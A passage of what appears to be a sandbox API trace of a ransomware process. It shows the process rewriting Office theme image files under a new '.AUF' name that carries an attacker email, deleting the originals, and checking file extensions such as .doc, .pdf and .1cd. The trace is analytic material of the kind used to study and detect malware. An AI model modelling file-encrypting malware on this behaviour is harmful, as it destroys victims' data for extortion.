(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0213.944] GetLastError () returned 0x0 [0213.944] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x9df, lpOverlapped=0x0) returned 1 [0213.971] WriteFile (in: hFile=0x180, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0213.976] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.976] WriteFile (in: hFile=0x180, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.976] SetEndOfFile (hFile=0x180) returned 1 [0213.976] CloseHandle (hObject=0x180) returned 1 [0213.976] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.976] SetEndOfFile (hFile=0x224) returned 1 [0213.977] CloseHandle (hObject=0x224) returned 1 [0213.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.977] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0213.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.977] lstrlenW (lpString=".doc") returned 4 [0213.978] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.978] lstrlenW (lpString=".docx") returned 5 [0213.978] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.978] lstrlenW (lpString=".pdf") returned 4 [0213.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString=".xls") returned 4 [0213.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString=".xlsx") returned 5 [0213.978] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.978] lstrlenW (lpString=".ppt") returned 4 [0213.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.978] lstrlenW (lpString=".zip") returned 4 [0213.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString=".rar") returned 4 [0213.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString=".bz2") returned 4 [0213.978] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.978] lstrlenW (lpString=".7z") returned 3 [0213.978] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.978] lstrlenW (lpString=".dbf") returned 4 [0213.978] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.978] lstrlenW (lpString=".1cd") returned 4 [0213.978] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.978] lstrlenW (lpString=".jpg") returned 4 [0213.978] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.978] lstrlenW (lpString=".doc") returned 4 [0213.978] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.978] lstrlenW (lpString=".docx") returned 5 [0213.978] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.978] lstrlenW (lpString=".pdf") returned 4 [0213.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString=".xls") returned 4 [0213.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString=".xlsx") returned 5 [0213.978] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.978] lstrlenW (lpString=".ppt") returned 4 [0213.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.978] lstrlenW (lpString=".zip") returned 4 [0213.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString=".rar") returned 4 [0213.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.978] lstrlenW (lpString=".bz2") returned 4 [0213.979] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.979] lstrlenW (lpString=".7z") returned 3 [0213.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.979] lstrlenW (lpString=".dbf") returned 4 [0213.979] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.979] lstrlenW (lpString=".1cd") returned 4 [0213.979] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0213.979] lstrlenW (lpString=".jpg") returned 4 [0213.979] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.979] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.979] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.979] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1737) returned 1 [0213.979] CloseHandle (hObject=0x224) returned 1 [0213.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0213.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0213.980] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.980] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0213.981] GetLastError () returned 0x0 [0213.981] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x6c9, lpOverlapped=0x0) returned 1 [0213.995] WriteFile (in: hFile=0x180, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0213.996] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0213.996] WriteFile (in: hFile=0x180, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.996] SetEndOfFile (hFile=0x180) returned 1 [0213.996] CloseHandle (hObject=0x180) returned 1 [0213.997] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.997] SetEndOfFile (hFile=0x224) returned 1 [0213.997] CloseHandle (hObject=0x224) returned 1 [0213.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0213.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.998] lstrlenW (lpString=".doc") returned 4 [0213.998] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.998] lstrlenW (lpString=".docx") returned 5 [0213.998] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.998] lstrlenW (lpString=".pdf") returned 4 [0213.998] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.998] lstrlenW (lpString=".xls") returned 4 [0213.998] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.998] lstrlenW (lpString=".xlsx") returned 5 [0213.998] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.998] lstrlenW (lpString=".ppt") returned 4 [0213.998] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.998] lstrlenW (lpString=".zip") returned 4 [0213.998] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.998] lstrlenW (lpString=".rar") returned 4 [0213.998] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.998] lstrlenW (lpString=".bz2") returned 4 [0213.998] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.998] lstrlenW (lpString=".7z") returned 3 [0213.998] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.998] lstrlenW (lpString=".dbf") returned 4 [0213.998] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.998] lstrlenW (lpString=".1cd") returned 4 [0213.998] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.998] lstrlenW (lpString=".jpg") returned 4 [0213.998] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.999] lstrlenW (lpString=".doc") returned 4 [0213.999] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.999] lstrlenW (lpString=".docx") returned 5 [0213.999] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.999] lstrlenW (lpString=".pdf") returned 4 [0213.999] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.999] lstrlenW (lpString=".xls") returned 4 [0213.999] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.999] lstrlenW (lpString=".xlsx") returned 5 [0213.999] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.999] lstrlenW (lpString=".ppt") returned 4 [0213.999] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.999] lstrlenW (lpString=".zip") returned 4 [0213.999] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.999] lstrlenW (lpString=".rar") returned 4 [0213.999] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.999] lstrlenW (lpString=".bz2") returned 4 [0213.999] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.999] lstrlenW (lpString=".7z") returned 3 [0213.999] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.999] lstrlenW (lpString=".dbf") returned 4 [0213.999] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.999] lstrlenW (lpString=".1cd") returned 4 [0213.999] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0213.999] lstrlenW (lpString=".jpg") returned 4 [0213.999] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.999] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.999] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.000] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=33479) returned 1 [0214.000] CloseHandle (hObject=0x224) returned 1 [0214.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0214.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.000] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.000] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0214.000] GetLastError () returned 0x0 [0214.000] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x82c7, lpOverlapped=0x0) returned 1 [0214.023] WriteFile (in: hFile=0x180, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0214.024] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.024] WriteFile (in: hFile=0x180, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0214.024] SetEndOfFile (hFile=0x180) returned 1 [0214.025] CloseHandle (hObject=0x180) returned 1 [0214.025] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.025] SetEndOfFile (hFile=0x224) returned 1 [0214.026] CloseHandle (hObject=0x224) returned 1 [0214.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.026] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0214.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.026] lstrlenW (lpString=".doc") returned 4 [0214.026] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.026] lstrlenW (lpString=".docx") returned 5 [0214.026] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.026] lstrlenW (lpString=".pdf") returned 4 [0214.026] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.026] lstrlenW (lpString=".xls") returned 4 [0214.026] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.026] lstrlenW (lpString=".xlsx") returned 5 [0214.026] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.027] lstrlenW (lpString=".ppt") returned 4 [0214.027] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.027] lstrlenW (lpString=".zip") returned 4 [0214.027] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.027] lstrlenW (lpString=".rar") returned 4 [0214.027] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.027] lstrlenW (lpString=".bz2") returned 4 [0214.027] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.027] lstrlenW (lpString=".7z") returned 3 [0214.027] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.027] lstrlenW (lpString=".dbf") returned 4 [0214.027] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.027] lstrlenW (lpString=".1cd") returned 4 [0214.027] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.027] lstrlenW (lpString=".jpg") returned 4 [0214.027] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.027] lstrlenW (lpString=".doc") returned 4 [0214.027] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.027] lstrlenW (lpString=".docx") returned 5 [0214.027] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.027] lstrlenW (lpString=".pdf") returned 4 [0214.027] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.027] lstrlenW (lpString=".xls") returned 4 [0214.027] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.027] lstrlenW (lpString=".xlsx") returned 5 [0214.027] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.027] lstrlenW (lpString=".ppt") returned 4 [0214.027] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.027] lstrlenW (lpString=".zip") returned 4 [0214.027] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.027] lstrlenW (lpString=".rar") returned 4 [0214.027] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.027] lstrlenW (lpString=".bz2") returned 4 [0214.027] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.027] lstrlenW (lpString=".7z") returned 3 [0214.027] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.027] lstrlenW (lpString=".dbf") returned 4 [0214.027] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.027] lstrlenW (lpString=".1cd") returned 4 [0214.027] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0214.028] lstrlenW (lpString=".jpg") returned 4 [0214.028] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.028] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0214.028] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0214.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.028] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4991) returned 1 [0214.028] CloseHandle (hObject=0x224) returned 1 [0214.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0214.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0214.028] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.028] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, 